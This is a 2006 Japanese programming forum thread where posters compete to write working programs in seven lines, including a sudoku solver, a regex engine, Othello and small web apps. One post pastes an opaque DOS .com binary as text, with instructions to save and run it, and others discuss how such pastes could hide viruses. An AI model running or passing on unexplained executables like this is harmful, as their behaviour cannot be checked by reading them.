乙
ここは放置すると即死するのかな。 インデックスでも貼るか
TextSS のWindowsXP(Professional)64bit化おながいします もしくは64bitにネイティブ対応したテキスト置換ソフトありますか?
7 :
955 :2006/03/21(火) 02:34:36
スレ立てインデックス乙乙 本当はこれがやりたかった。全画面注意 ただ単に作ったファイルを.txtにしてコピペしただけ 3ロウタムテ2ロムテクタタ0GMウ@0G"0G,0G-0G?0GB0GO0GV0G[3タq(自己改変とINT10hの練習)3タq フフフフフフフフフフフフケタタイ カ サョo3レS]サ」J3レセ -ク$$Pクヘハ3チP_SXイミフWWWウハWWWWオkWWWWイ オタP[% クYJ3テPUSVRRWクm Pクーフ3ナPUSVRRWクm Pクワフ3ナPクョホ3ナPUSVRRWク!!PクンンPPクゥゥPPPクブPRR% ク /PRRUSVRRWクA}3チPクS13チPクO)Pク6a3チ3ツPクo」3ツPクタa3チ3ツPUSUSVWーA3チエRPクa<3チ3ツP% ーA3チエ^PUSVRRーハ3チエ PウェウェWWWWWWW3ター"ムネヘミT]ク&&2タムネ3ノア。3メ3ロSSヘミ^_ク@QムタPPヌ゚% 3ター。HムタムタPPPYャ]ミリ\ェW]3ロキ<ミマ;ンu.3タPPHヘミ_^Iuヘ3ノアPQ^ア。Iムチムチクタヒ5タタヘ!ムネsノヘ フ
955氏 今回もXPのみ?・・・Orz
>>9 前スレ973も
>>7 も、うちの2000で動く。
そもそもDOS命令なんで、OS関係ないと思われ。
前スレ960のMessageBoxは環境依存だと思うけど、
(DLL名の省略の関係?)
改変した前スレ966は2000では動きました。
>>7 すげー。INT10hはこういう使い方ができるのかー。
インデックスの方も乙。
>>7 すげえええええええええwwwwwwww
こんなのってどうやって付くんの?
テキストに仕方はどうやるんだろ。
アセンブラ作って変換するんだろか・・・
>>9 行頭・行末にスペースが入ってないことを確認して
CR+LF改行で保存したら98SE@VPCでも動きますた。
はスペースでいいみたい。
> はスペースでいいみたい。 一つだけの時は、それで OK だけど、二つ以上つづく時は にしないと、(HTML の仕様で) 一つにまとめら れちゃうよ。
>>13 いやつまりnon-breaking spaceは$A0だから、さ
ふと思ったが、バイナリ投稿自体は面白いが流れ的にちと怖くね? スクリプトのコードなら何の処理か想像つくのが多いだろうが そのうち簡易ウィルスやOSクラッシャうpる香具師がいつか出そうな悪寒 今浮かんだ対策は バイナリうp師は必ず頭に「実行は自己責任で」付けるとかその辺 当然っちゃ当然だがバイナリは読めない香具師多そうで怖い
たしかに。 どんなのプログラムなのか必ずデバッガ上でトレースしてから実行してるが、 いきなり実行する香具師は喰らうだろうな。某流出もそういう仕組みだし。 OS吹き飛ばしたり、HDD全消去くらいなら簡単だろうが、 今の流れの形式で、ウイルスともなるとかなりレベル高そうだな。 けど、グロ画像と同じで、気づいた香具師が警告入れるだろうし、 その上で踏むのなら、自己責任しょ。 テキストに貼り付けて拡張子comに変えた時点で、その行為が意味することくらいわかってなきゃな。 どんな動作するか書いてない、2chに貼られたバイナリをいきなり実行する香具師って・・・
18 :
113 :2006/03/26(日) 01:31:55
では七歩歩く間にプログラムを書くのじゃ。テーマは兄弟にせい。
うるせーよ、曹丕
>>18 #include <iostream>
int main()
>>18 □歩□□玉□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□角□□□□□飛□
香桂銀金王金銀桂香
二つではないのでセーフ
お前頭いいな
ではどうやって2つ目の歩を置いたんだね。
お前頭いいな
初期配置
二歩と聞くと、豊川六段(前原代表)がNHK杯でにふった時の 千葉女流のあーってさけぶやつを思い出すw。
二歩の判定に==使うコードが悪いな 俺なら>=使う
>=を使ったらルールが変わってるよ。
31 :
デフォルトの名無しさん :2006/03/31(金) 22:27:06
匕行プログラミング
pointer to array of pointer to charかね sizeof(char* )== 4 sizeof(char*[3])== 12 だから12増えるのが正解だろ。
>>33 ありがとうございました。やっと分かりました。
あとで、20ポイントつけておきますね。
や、俺gooに登録してへんから('ω`)
36 :
デフォルトの名無しさん :2006/03/32(土) 23:59:38
最も偏差値の高いスレはここですね?
とうとうVIPから来てしまいました
安南将棋って知らないの?
39 :
デフォルトの名無しさん :2006/04/08(土) 19:25:54
過去スレみれねえ まとめサイト欲しい
#include <windows.h> double sin();char b[99];long*h,w[]={65537,8000,8000,524289,20},d[]={b,99,0,0,0, 1,0,0};WINAPI f(t,u,x,y,z){waveOutReset(h);waveOutWrite(h,d,32);}main(c,v)char **v;{if(c>1){for(c=99;c--;b[c]=sin(c*0.7854)*64);if((c=atoi(v[1]))>0){waveOutO\ pen(&h,-1,w,0,0,0);waveOutPrepareHeader(h,d,32);for(c=timeSetEvent(60000/c,1,f, timeBeginPeriod(1),1);!kbhit();Sleep(1));timeKillEvent(c);waveOutReset(h);wave\ OutUnprepareHeader(h,d,32);waveOutClose(h);}}} Win32用簡易メトロノーム。コマンドライン引数でBPMを指定。何かキーを押せば終了します。 マルチメディアタイマーを利用しているのでwinmm.libとのリンクが必要。
#include <stdio.h> int a[81];s(n){int i=80,c[10];if(a[n])s(n+1);else if(n>80)for(;~i;i--)printf("\ %d%c",a[i],i%9?0:10);else{for(i=9;i;)c[i--]=0;for(i=8;i--;)c[a[n/9*9+i]]=c[a[n% 9+i*9]]=c[a[n/27*27+n%9/3*3+i%3+i/3*9]]=1;for(i=1;i<=9;i++)c[i]||(a[n]=i,s(n+1) ,a[n]=0);}}main(i){i=80;for(;~i;)scanf("%d",&a[i--]);s(0);} 数独を解くプログラムのつもり。あと2行あるからなんかしたいけど何をしようか思いつかん。 標準入力として↓みたいなファイルを食わせると答えを出す。 0 0 6 0 0 0 0 0 1 0 7 0 0 6 0 0 5 0 8 0 0 1 0 3 2 0 0 0 0 5 0 4 0 8 0 0 0 4 0 7 0 2 0 9 0 0 0 8 0 1 0 7 0 0 0 0 1 2 0 5 0 0 3 0 6 0 0 7 0 0 8 0 2 0 0 0 0 0 4 0 0 ぶっちゃけ七行やったこと殆どないんで無駄が多そう。 ちなみにあほ再帰なんで表出が減るとあほみたいに遅くなります。 将来は数々の人々みたいに立派な七行erになりたい。
>>43 4 0 0 0 0 0 8 0 2
0 0 0 0 1 8 0 0 9
2 0 0 3 0 5 0 0 0
0 5 0 0 6 0 2 0 0
0 0 0 7 0 4 0 9 0
0 7 0 0 2 0 0 3 6
0 0 0 9 0 0 7 0 0
8 0 6 0 7 0 0 0 0
0 0 5 0 0 0 6 0 4
の問題で誤答が出ました。
>>44 単純なミスだった。あほだなあ自分。他にもバグめっさあるかも。
#include <stdio.h>
int a[81];s(n){int i=80,c[10];if(a[n])s(n+1);else if(n>80)for(;~i;i--)printf("\
%d%c",a[i],i%9?0:10);else{for(i=9;i;)c[i--]=0;for(i=9;i--;)c[a[n/9*9+i]]=c[a[n%
9+i*9]]=c[a[n/27*27+n%9/3*3+i%3+i/3*9]]=1;for(i=1;i<=9;i++)c[i]||(a[n]=i,s(n+1)
,a[n]=0);}}main(i){i=80;for(;~i;)scanf("%d",&a[i--]);s(0);}
>>43 入力が正規な問題かどうかを判定するルーチンいれられません?
現状だと1を81個でも(そのまんまになるが)解答として出力されるので。
>>46 解答をリダイレクトすると 0x00 が出力されてるので
printf("%d%c",a[i],i%9?32:10);
の方がいいかも。
複数解答があるときは行をあけて欲しいなぁとか。
すでに7行以下だと最適化するのもむなしいなー。
#include <stdio.h> int a[81],c[10],j,k;o(){for(j=80;~j;j--)for(k=80;k>j;k--)if((j/9==k/9||j%9==k%9 ||(j/27==k/27&&j%9/3==k%9/3))&&a[j]==a[k]&&a[j])return 0;return 1;}s(n){int i= 80;if(a[n])s(n+1);else if(n>80){for(;~i;i--)printf("%d%c",a[i],i%9?32:10);puts( "\n");}else{for(i=1;i<=9;i++)(a[n]=i,o()?s(n+1):0,a[n]=0);}}main(i){i=80;for(;~ i;)scanf("%d",&a[i--]);o()?s(0):puts("問題おかしい");} あちこち無駄っぽい。むう。 どのみちもう7行きってて微妙だからなんか別のものを組もうかなぁ。
逆に問題を生成してみるとか。 あ、生成と解答をまとめると結構ハードル高くなるかな?
初代スレ読んできたけどレベル高いなぁ。トリッキーの1と60がすさまじい。 初代スレのWindows関連は面白かったから、ああいうのでなんかお題プリーズ。
52 :
デフォルトの名無しさん :2006/05/07(日) 16:27:06
保守&新しい息吹待ちage
Java script アイコンエディタ おそらくIE6専用(Mozilla 1.7は不可) 大きい■をクリックで、下のボックスに入力した色が塗られる(各色0-255)。 左上のアイコンをクリックすると、別ウィンドウで ppm 形式のデータを表示するので、 表示>ソース>メモ帳などが開いたら名前をつけて保存>何とか.ppm 大きさの変更は、1行目のA=16を適当にいじる 機能も不十分だが、最大の問題点は8行だということ。誰か頼む。 <body><script>Z=[A=16];B=document.all;s=S="<br>";function Y(D){(D?self:open()). document.writeln(S)}function X(p){for(c="#",i=0;i<3;S="P3\n"+A+" "+A+"\n255")c +=(0+(Z[p*3+i]=B.tags("input")(i++).value-0).toString(16)).slice(-2);B(P=7+p*2+ p/A|0).style.color=B(++P).style.background=c;for(i=0;i<A*A*3;S+=Z[i++]+" ")i%(3 *A)?0:S+="\n"}for(i=0;i<A*A;i%A?0:S+=s,S+="<b style=color:#AAA onClick=X("+i+ ")>■</b><p style=background:#AAA;position:absolute;top:"+(i/A|0)*2+";left:"+( i++%A)*2+";overflow:hidden;width:2;height:2 onClick=Y()></p>")for(j=3;j--;)Z[i* 3+j]=176;Y(S+=s)</script>R<input>G<input>B<input>
>>53 の改良
少しインターフェースが違っているが7行化+Firefoxでも動くように。
多分Operaでも動くと思う。
<div style="width:256px"><script>A=16;function X(p){for(c=[],i=0;i<3;i++)c[i]=Z
[3*p+i]=+D.T("input")[i].value;D.T("b")[p].style.background="rgb("+c.join(",")+
")";}Z=[];D=document;for(i=0;i<A*A;D.write("<b style='background:#aaa;float:l"+
"eft;overflow:hidden;width:16px;height:16px;' onclick='X("+i+")'></b>"),i++)for
(j=3;j--;)Z[i*3+j]=176;D.T=D.getElementsByTagName;</script></div>R<input>G
<input>B<input><button onclick="s='P3\n'+A+' '+A+'\n255';for(i=0;i<A*A*3;s+=Z[
i++]+' ')i%(3*A)?0:s+='\n';with(self.open().document){writeln(s);close()}">出力
昔、お遊びでここにBASIC書いてみた者(何本か前の448)ですが、久々にここに 来てあれ書いてた頃が懐かしくなったですよ。 ・・いまだに7行は達成できないんだけどorz #それどころか、会社入ってから書かされるプログラムは肥大化して行くばかり
複数人での開発には、ワンライナーや7行みたいな 詰め込みコードは向かないし、他の人がコード見る場合があれば迷惑だよ だから、行数が増えるのは別に悪い事じゃない。 #短く分かり易く書けるのに、無意味に長く難しく書くのも迷惑ダガナー
でも7行書きは楽しいよ? 大学の課題提出とか無意味に七行化しちゃうよ
迷惑かどうかを考えるスレじゃないしね。
>>61 Part1の32で
> (関東など一部の地域での)テレビの2ちゃんねるシミュレータ、
> すなわち砂嵐シミュレータを作ってみました。ざーっていうあれです。音は鳴らないけど。
とあるから、パクリの証拠ではないんじゃない?
パクリなら他の人の作品もパクるだろうから、 トリッキーの1さんっぽい気はする。 経歴みても頭良さそうだし。
どうせ外人がパクったんだろ、と思ったら、日本ドメインじゃねーかw 確かに、1さんかもしれんな
>>7 イミフWWWウハWWWWオkWWWW
ウェウェWWWWWWW
>>65 コピーしてテキストエディタに貼付けて拡張子.comで保存
但し2chビューア等には、ご丁寧にも
半角スペースみたいな記号を
コピー時に&表記に変換したりする機能があったりするので
出来れば普通のブラウザからコピーを推奨
67 :
デフォルトの名無しさん :2006/05/19(金) 18:56:48
>67 空白行?
つーかcomファイルなんて実行できねえよ
>>68 二行目
> フフフフフフフフフフフフケタタイ カ サョo3レS]サ」J3レセ -ク$$Pクヘハ3チP_SXイミフWWWウハWWWWオkWWWWイ オタP[%
五行目 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ーA3チエ^PUSVRRーハ3チエ PウェウェWWWWWWW3ター"ムネヘミT]ク&&2タムネ3ノア。3メ3ロSSヘミ^_ク@QムタPPヌ゚%
~~~~~~~~~~~~~~~~~
73 :
デフォルトの名無しさん :2006/05/23(火) 08:28:49
comファイルはバイナリそのもので、 プログラムングとは言えないんじゃね?
貴様ヘッドアセンブルを否定したな!
75 :
デフォルトの名無しさん :2006/05/23(火) 10:20:29
この類のは散々既出かもしれませんが、PHPで1行掲示板を書いてみました。 連投対策(同IPから60秒間連投を制限)も一応施してあります。なんかまだまだ 短くできそうな悪寒がします。 <?$ip=$_SERVER['REMOTE_ADDR'];$d=time();$n=htmlspecialchars($_POST['n']); $m=htmlspecialchars($_POST['m']);$p="log.txt";if($n&&$m){$l=@file($p); $s=explode("<>",$l[0]);if(($ip!=$s[0])||($d-$s[3]>60)){$fp=fopen($p,"w+");fputs ($fp,$ip."<>".$n."<>".$m."<>".$d."<>\n");for($i=0;$i<20;$i++)fputs($fp,$l[$i]); fclose($fp);}}?><form method=POST><input name=n>:<input name=m><input type= submit><?$l=@file($p);foreach($l as $arr){$s=explode("<>",$arr);print("<hr>[". $s[1]."] ".$s[2]." (".date("Y/m/d h:i:s", $s[3]).")");}?>
確かにプログラムングとは言えないな
>>75 PHPは関数名が長いね…
縮め、改行入力阻止、0のみ入力許可
<?$f=array('n','m');foreach($f as&$v){$v=strtr(htmlspecialchars($_POST[$v]),
"\n",' ');}$p='log.txt';if($f[0]!=''&&$f[1]!=''){$l=@file($p);$s=explode('<>',
$l[0]);if(($ip=$_SERVER['REMOTE_ADDR'])!=$s[0]||($d=time())-$s[3]>60){$l[20]=''
;file_put_contents($p,"$ip<>$f[0]<>$f[1]<>$d<>\n".implode('',$l));}}?><form
method=POST><input name=n>:<input name=m><input type=submit><?$l=@file($p);
foreach($l as$arr){$s=explode('<>',$arr);echo"<hr>[$s[1]] $s[2] (".date(
'Y/m/d h:i:s',$s[3]).')';}?>
保守
ホッシュ
シェルピンスキーのギャスケット #include <stdio.h> main() { int x, y; for (y = 0; y < 32; y++){ for (x = 0; x < 32; x++) printf(x & y? "..": "■"); printf("\n"); } }
JavaScript 弾避け。マウスカーソルを四角にぶつけないように動かす 互換性のないように作ってあるので、IE専用 <body id=B onMouseMove=y=event.y;x=event.x><script>h=B.clientHeight-20;a=[b=[q= [D=document]]];for(U=x=99;x--;C=F=q[x]=P=y=0)D.write("<b style=background:red;" +"width=16;height=16;position:absolute;top:-20></b>");function T(){for(i=C;i--* !F;J=D.all(5+i).style,l=q[i]/U,m=J.left=a[i]*(c=1-l)+a[d=i+U]*l,n=J.top=b[i]*c+ b[d]*l,F=m-15<x&x<m+16&n-15<y&y<n+16)if(!q[s=i]--)for(j=2;j--;s+=R%3+1)R=Math. random(q[i]=U)*w*h|0,a[c=j?i:i+U]=s%2?s%4>1?0:w:R%w,b[c]=s%2?R%h:s%4?h:0;P++-C* 9||C-U&&C++;if(F)alert(P);else setTimeout(T,U-C)}T(w=B.clientWidth-20)</script>
GJ! だんだん多く速くなるあたり職人芸だな
83 :
デフォルトの名無しさん :2006/08/28(月) 21:02:17
保守age
保守
85 :
デフォルトの名無しさん :2006/10/09(月) 16:07:24
hosyu
86 :
デフォルトの名無しさん :2006/10/10(火) 20:06:29
俺には無理だったお題 perlでモジュールを使わずに7行でRSSリーダー(RSS to html)を作れ LWP::Simpleも使わずに7行はやっぱり無理か??
RSSリーダーの定義による
88 :
86 :2006/10/10(火) 20:24:20
定義はRSSをgetして、htmlに変換するってもの LWP::Simpleと、XML::RSSで作れたんだがモジュール無しは俺にはむりぽ
Socketも使えんがな
curlで取得
91 :
デフォルトの名無しさん :2006/10/10(火) 23:33:19
一先ずLWP::Simpleだけで作れないかやってみるお
XSLT使えば2〜3行で書けるんじゃない?あほらしくてやる気しないけど
じゃあ俺も無理だったお題。 Cで7行正規表現。どうやっても7行は無理だったw 腕に覚えのある奴がいたら、是非挑戦してみてくれ。
>>93 正規表現って何をサポートすればいいんだ?
#include "regexp.h"
#include <boost/regex.h>
catコマンドってC言語で7行で作れる? どこまでの機能を詰め込めるかの問題になりそうだけど。
98 :
97 :2006/10/14(土) 02:04:30
作れる?ってのはおかしいか。 作るだけなら余裕だろうし。 どれだけ機能を削ったり詰め込めるかって感じ。
お久しぶりです。part1でお世話になったトリッキーの1です。
>>60-64 で晒されていますが、そのサイトは私のサイトです。
正規表現が面白そうだったので久々に作ってみましたが、9行になりました。
縮めるテクニックなどを完全に忘れてしまっていますが、頑張れば7行は可能そうです。
仕事の合間に7行目指して頑張ってみようと思います。
使える記号は()*|のみです。とりあえずこれだけあれば他のも表現できると思います。
文脈自由文法は、
R ::= T | T "|" R
T ::= ε | FT
F ::= P | P*
P ::= char | "(" R ")"
となっています。gcc2.91でのみコンパイル確認しました。
使い方は、"a.exe regexp"とすれば、標準入力から読んだ内容をregexpで走査します。
見つかればmatchと表示して終了します
#include <stdio.h>
int n[999][99],z=2,i;char*s,c[999][99],v[9999];h(f,t,k){for(i=0;c[f][i]!=0;i++)
;c[f][i]=k;n[f][i]=t;}p(int o,int f,int t,char*l){int x;if(l){for(x=0;(f=c[o][x
])!=0;x++)if((f==1||*l==f)&&(n[o][x]==1||p(n[o][x],0,0,(f==1)?l:l+1)))return 1;
}else{(o==0)?p(1,f,t,0),(*s=='|')?s++,p(0,f,t,0):0:(o==1)?(*s==')'||*s=='|'||*s
==0)?h(f,t,1):(x=z++,p(2,f,x,0),p(1,x,t,0)):(o==2)?(x=z++,c[x][0]=1,n[x][0]=t,p
(3,f,x,0),(*s=='*')?h(f,t,1),s++,n[x][0]=f:0):(*s)?(*s=='(')?(s++,p(0,f,t,0),++
s,0):h(f,t,*s++):0;}}main(int x, char**o){s=o[1];p(0,0,1,0);while(gets(v)){s=v;
while(*s){if(p(0,0,0,s++))return printf("match");}}}
多分大体のコンパイラで動くバージョンはこちらです。連投失礼しました。 #include <stdio.h> int n[999][99],z=2,i;char*s,c[999][99],v[9999];p(int o,int f,int t,char*l){int x;if(l){for(x=0;(f=c[o][x])!=0;x++)if((f==1||*l==f)&&(n[o][x]==1||p(n[o][x],0, 0,(f==1)?l:l+1)))return 1;}else{(o==0)?p(1,f,t,0),(*s=='|')?s++,p(0,f,t,0):0:( o==1)?(*s==')'||*s=='|'||*s==0)?c[f][c[f][98]]=1,n[f][c[f][98]++]=t:(x=z++,p(2 ,f,x,0),p(1,x,t,0)):(o==2)?(x=z++,c[x][0]=1,n[x][0]=t,p(3,f,x,0),(*s=='*')?c[f ][c[f][98]]=1,n[f][c[f][98]++]=t,s++,n[x][0]=f:0):(*s)?(*s=='(')?(s++,p(0,f,t, 0),s++,0):(c[f][c[f][98]]=*s++,n[f][c[f][98]++]=t):0;}return 0;}main(int x,char **o){s=o[1];p(0,0,1,0);while(gets(v)){s=v;while(*s){if(p(0,0,0,s++))return printf("match");}}return 0;}
キタ━━(━(━(-( ( (゚∀゚) ) )-)━)━) ━━ !!!!!
凄すぎます。
天 才 現 る
何て恐ろしい子!
BNFの自前パース+NFA検索ってところかな? 10行でもありえないくらい凄いよ…本当に7行なんて出来るんだろうか
よく読んでないんだけどa==bを使ってるところをうまくa-bにするとかで数文字減れないかな
>>105 おお、その通りです。あのコードからよくわかりましたね!
DFAにすべきなんでしょうが、動けばいいやってことでNFAにしました。
でも現状では最初に適当に作りすぎたためにどんなに頑張っても9行なので、
行数を減らすことを前提に少し構造を変えないといけないかも…
等価なBNFで状態数の小さいものを書くことが出来ればなんとかなるのかな?
>>106 ヒントありがとうございます。
まだ小細工は全然していないのですが、数文字が重要になってきたら試してみます。
7行達成したらお披露目にきますね ノシ
int x;if(l){for(x=0; ↓ int x=0;if(l){for(; こういう積み重ねが大事なんだろうな。 人間ってすごいな。
for(int x=0; はC言語では駄目なんだっけ C++で出来るようになったのか
(o==0)?(A):(B) → (o)?(B):(A) とかあるけど……まぁそれでも7行には入りそうにないな。 もっと根本的な対策がいる。
'|' とかの即値を数字で書くと一字減る
>>112 それは限りなく最後の手段。ASCII文字配列でないコンピュータで動かなくなる。
いつの時代のコンピューだよw
いや、それは気にすべきだろ。
こういう基本的なことは重要
それよりもコンピューという略し方のほうが異常だと僕は思うね。
>>117 ついに「ぴゅー太」と呼ぶ時代が来たようだな。 時代が追いついてきたな。
マイコンと呼ぶ日も近そうだ。ベーマガスペシャル復刊とかね
1chipMSX買っちゃったしね。
BCELを使った Java難読化プログラムです. 現在,9行.あと少し.キャストがうぜぇ.groovy なら問題なくできるだろう. import org.apache.bcel.classfile.*;class O{public static void main(String[]s) throws Exception{new O(new ClassParser(s[0]).parse());}int n=0;void u(Constant c){ConstantUtf8 u=(ConstantUtf8)c;if(u.getBytes().charAt(0)!='<')u.setBytes(""+ ++n);}O(JavaClass j)throws Exception{ConstantPool p=j.getConstantPool(); Constant[]c=p.getConstantPool();for(int i=0;i<c.length;i++){if(c[i]!=null){int t=c[i].getTag();if(t>8&&t<12){ConstantCP q=(ConstantCP)c[i];if(j.getClassName() .equals(q.getClass(p)))u(c[((ConstantNameAndType)c[q.getNameAndTypeIndex()]). getNameIndex()]);}}}u(c[((ConstantClass)c[j.getClassNameIndex()]).getNameIndex( )]);j.dump(n+".class");}} BCELじゃなく,ASMとか,javassist を使ったほうがいいのかな? java -cp .:bcel.jar O <target classfile>
>>121 純粋な疑問なんだけど、importが許されるなら、そこで全部書けばいいんじゃない?
>>122 「BCELを使った」が前提なだけだから、BECL以外をimportしちゃダメだろう。
もちろん他所で書いてimportして「1行で書きました! 7行以下だからいいよね!」
って主張するのは各人の勝手だとは思うけど、スルーされるか叩かれるだけじゃね?
うーん、公式ライブラリ以外を使っているのは微妙な気もするけどな。
>>122 Cで #include <stdio.h> 書くのは許していいの?
じゃあお前includeディレクティブなしでCでなんか書いてみろ。 できなかったら半年ROMってろ。
Cなら楽だろ。
>>125 Javaでjava.*を使わなかったら認めてやるよ
標準ライブラリや有名どころのはいいんじゃね?
標準ライブラリは誰からも文句をつけられないが、 有名どころなら一部の人からは認められないだろうね。 正規表現をboost使って実装されてもハァ?だし。
boostを使った面白ネタキボン
スレ違い。
まだ続いてたんだこのスレ。感動した。
134 :
デフォルトの名無しさん :2006/11/11(土) 16:56:12
age
135 :
デフォルトの名無しさん :2006/11/27(月) 22:46:20
だれかなんかねーの?
昔、ポケコンで1行プログラムがあったな。 BASICだが、独特の技術だった。
138 :
デフォルトの名無しさん :2006/11/27(月) 23:46:52
>>137 俺が作るのかw
対戦ってコンピューターとの対戦だよな。
交互に入力する対戦でもいいか。
リバーシって昔なかったっけ? x軸とy軸を入力するやつだった気が
おいおいすでに誰かのHPにあったろ。
141 :
デフォルトの名無しさん :2006/11/28(火) 00:08:24
ログみたらオセロ、マインスイーパ、ドラクエ いろいろあったわ。 同じゲーム作ってもおもしろいんじゃないか? ネタがあれば作る人はたくさん出てきそうだけどな
辞書を外に持った簡易日本語IMEってのはどうだ?
143 :
デフォルトの名無しさん :2006/11/28(火) 00:11:24
>>142 データを外に持つのか。それはいいのか?
ダメだったら毎回辞書を標準入力から…
だめです
ネタとして楽しめるならなんでもいいよ。 評価は見てる人がそれぞれすれば良いんだから。
147 :
デフォルトの名無しさん :2006/11/28(火) 00:25:35
じゃー明日オセロ作るわ。 明日な、明日。
>>147 プログラム作ってる暇があったらちゃんとオナニーしろよな
破るためにあるんですよ。ナニとは言いませんが。
オナニーじゃ処女膜は破れない
152 :
デフォルトの名無しさん :2006/11/28(火) 04:00:38
処女がバイブ使うのは、推奨しない。 でも、たった7行で逝けるなんて感動。
今日はじめてみたけど楽しそうなスレだね。 初代のトリッキー1さんとかってまだ居るの? 5年前って凄いな。
7行printfは組込で実際に使った。便利だった。
そういや、VBScriptやJScriptってsprintf無いよね?
156 :
デフォルトの名無しさん :2006/11/29(水) 11:02:47
10進BASICで七行プログラミング
158 :
138 :2006/12/02(土) 21:34:13
先輩! COMとの対戦オセロ作ってるんですけど50行くらいあるんですよね。 月曜日まで待ってもらっていいですか?
159 :
デフォルトの名無しさん :2006/12/02(土) 22:01:46
よーし じゃあ父さんもなでしこで七行プログラミングしちゃうぞー
161 :
138 :2006/12/04(月) 12:06:28
今14行 あと7行……
COMとの対戦オセロなら、パート1でトリッキーの1さんが6行で作ってますね
163 :
デフォルトの名無しさん :2006/12/04(月) 14:07:25
>>163 せっかくオブラートに包んであげたのに…
既に素晴らしい作品があるから、二番煎じな上に14行なんて面白くもなんともない経過報告いらないですよ
165 :
デフォルトの名無しさん :2006/12/04(月) 14:49:11
>>164 (^ω^;)
最近7行のプログラム出てこないから書いてるだけなんだけど
面白くないと思うなら面白いものを提示してくれ
>>165 相殺法と呼ばれる詭弁術の典型例
やっていることがつまらないという評価に対してなんら反論できてない
167 :
デフォルトの名無しさん :2006/12/04(月) 18:02:36
ああ 他人が見ても面白くないのはわかるよ。 #include <stdio.h> typedef int n;n t[64]={0};n a(n i,n&g){n s=g%8;g+=("1987"[i%4]-48)*(i>3?-1:1); return !((!s||s==7)&&s+g%8==7);}n h(n x,n m){n i=0,r=1,g;if(t[x])return 1;for( ;i<8&&a(i,g);i++,g=x){for(;t[g]==3-m&&a(i,g)&&g>=0&&g<64;){if(t[g]==m){while(g !=x)t[a((i+4)%8,g)]=m;r=0;}}}if(!r)printf("%s:%d %d\n",m==1?"黒":"白",x%8+1,x/ 8+1);return r;}n d(){n s=0,d,i=0;for(;i<64;i++){printf("□\0○\0●"+(d=t[i])*3 );if(i%8==7)puts("");s=s?d&&s!=d?3:s:d;}return s!=3;}void main(){n x=1,y,p,m=0 ,c=0,k=0,r=-1;t[35]=t[28]=1;t[27]=t[36]=2;while(!d()||x&&k!=r){puts("x y"); scanf("%d %d",&x,&y);m=m?m:x?1:2;if(x||--x>7||--y>7||h(x+y*8,m))continue;if(d( ))break;k=r=(c++/2+x*8+y)%64;while(++k!=r&&h(k,3-m))if(k>64)k=0;}x=y=c=0;for(; c<64;c++)if(p=t[c])p==1?x++:y++;printf("黒:%d 白:%d %s",x,y,x>y?"黒の勝ち":x<y ?"白の勝ち":"引き分け");} 12行までいけたけどもうやめるわ。すまんかったな
>>167 関数使いすぎ。
グローバル変数は仕様上自動的にゼロに初期化される。
セミコロン多すぎ、結果if文増えすぎ。
for文やwhile文多すぎ。これらは工夫で1つか2つまで減らせるはず。
breakやcontinue使うとかありえない。最初から構造をもっと考えて設計するといいと思う
番兵使おう。
別のお題で再挑戦頑張れ
自分からネタも出せない批評家気取りのクズは死ねばいいのに
170 :
デフォルトの名無しさん :2006/12/04(月) 18:16:14
より完成度の高い対戦オセロがでてくる『可能性』の芽をつぶしたバカ晒し上げ >162 >164 >166
171 :
デフォルトの名無しさん :2006/12/04(月) 18:22:01
よくわからないけれど ここは荒んでいますね よくわかります
174 :
デフォルトの名無しさん :2006/12/04(月) 18:45:31
うお バグりまくり
175 :
デフォルトの名無しさん :2006/12/04(月) 18:58:10
#include <stdio.h> typedef int n;n t[64]={0};n a(n i,n&g){n s=g%8;g+=("1987"[i%4]-48)*(i>3?-1:1); return !((!s||s==7)&&s+g%8==7);}n h(n x,n m){n i=0,r=1,g=x;if(t[x])return 1; for(;i<8&&a(i,g);i++,g=x){for(;t[g]==3-m&&a(i,g)&&g>=0&&g<64;){if(t[g]==m){ while(g!=x)a((i+4)%8,g),t[g]=m;r=0;}}}if(!r)printf("%s:%d %d\n",m==1?"黒":"白" ,x%8+1,x/8+1);return r;}n d(){n s=0,d,i=0;for(;i<64;i++){printf("□\0○\0●"+( d=t[i])*3);if(i%8==7)puts("");s=s?d&&s!=d?3:s:d;}return s!=3;}void main(){n x= 1,y,p,m=0,c=0,k=0,r=-1;t[35]=t[28]=1;t[27]=t[36]=2;while(!d()||x&&k!=r){puts( "x y");scanf("%d %d",&x,&y);m=m?m:x?1:2;if(x&&(--x>7||--y>7||h(x+y*8,m))) continue;if(d())break;k=r=(c++/2+x*8+y)%64;while(++k!=r&&h(k,3-m))if(k>64)k=0; }x=y=c=0;for(;c<64;c++)if(p=t[c])p==1?x++:y++;printf("黒:%d 白:%d %s",x,y,x>y? "黒の勝ち":x<y?"白の勝ち":"引き分け");}
低レベルなのを上げられるくらいならいなくなったほうが・・・
低レベルなのも上げられないやつがいなくなったほうが
178 :
デフォルトの名無しさん :2006/12/04(月) 20:18:21
低レベルから高レベルに育っていく過程を見てみたいので期待age
七行(C)の心得 ・ローカル変数は敵だ ・セミコロンも敵だ ・っていうか括弧も敵だ ・参考演算子は神 もっとある?
まちがえた。 ○三項演算子 ×参考演算子
なでしこは敵だ
再帰は敗北 番兵は勝利 7行プログラムは作る前から7行(構想と構造が大事)
> 7行プログラムは作る前から7行 なんか良く分かんないけど感銘を受けた
184 :
デフォルトの名無しさん :2006/12/04(月) 23:04:01
!「nakonet.nako」を取り込む。サーバーとはTCPサーバー。そのポートは80。サーバーを開始。 サーバーの受信した時は〜 サーバーの受信データを「 」で区切る。ファイル名はそれ[1]の「/」を「」に置換したもの。 もし、ファイル名が空ならば、ファイル名は「index.html」。 もし、ファイル名が存在するならば、ファイル名を開く。違えば、それは「なし」。 内容は「HTTP/1.0 200 OK{改行}Content-Type: text/html{改行}{改行}{それ}」。(サーバーの相手IP)へ(内容)をサーバーで送信。 サーバーの送信完了した時は〜サーバーの相手IPをサーバーが切断。 (^o^)ノ<HTTPサーバーできたぞー
>>185 7行なのはいいとして桁数オーバーしてないか?
>>186 (^o^)ノ<こっちだったぞー
!「nakonet.nako」を取り込む。
サーバーとはTCPサーバー。そのポートは80。サーバーを開始。
サーバーの受信した時は〜サーバーの受信データを「 」で区切る。ファイル名はそれ[1]の「/」を「」に置換したもの。
もし、ファイル名が空ならば、ファイル名は「index.html」。
もし、ファイル名が存在するならば、ファイル名を開く。違えば、それは「なし」。
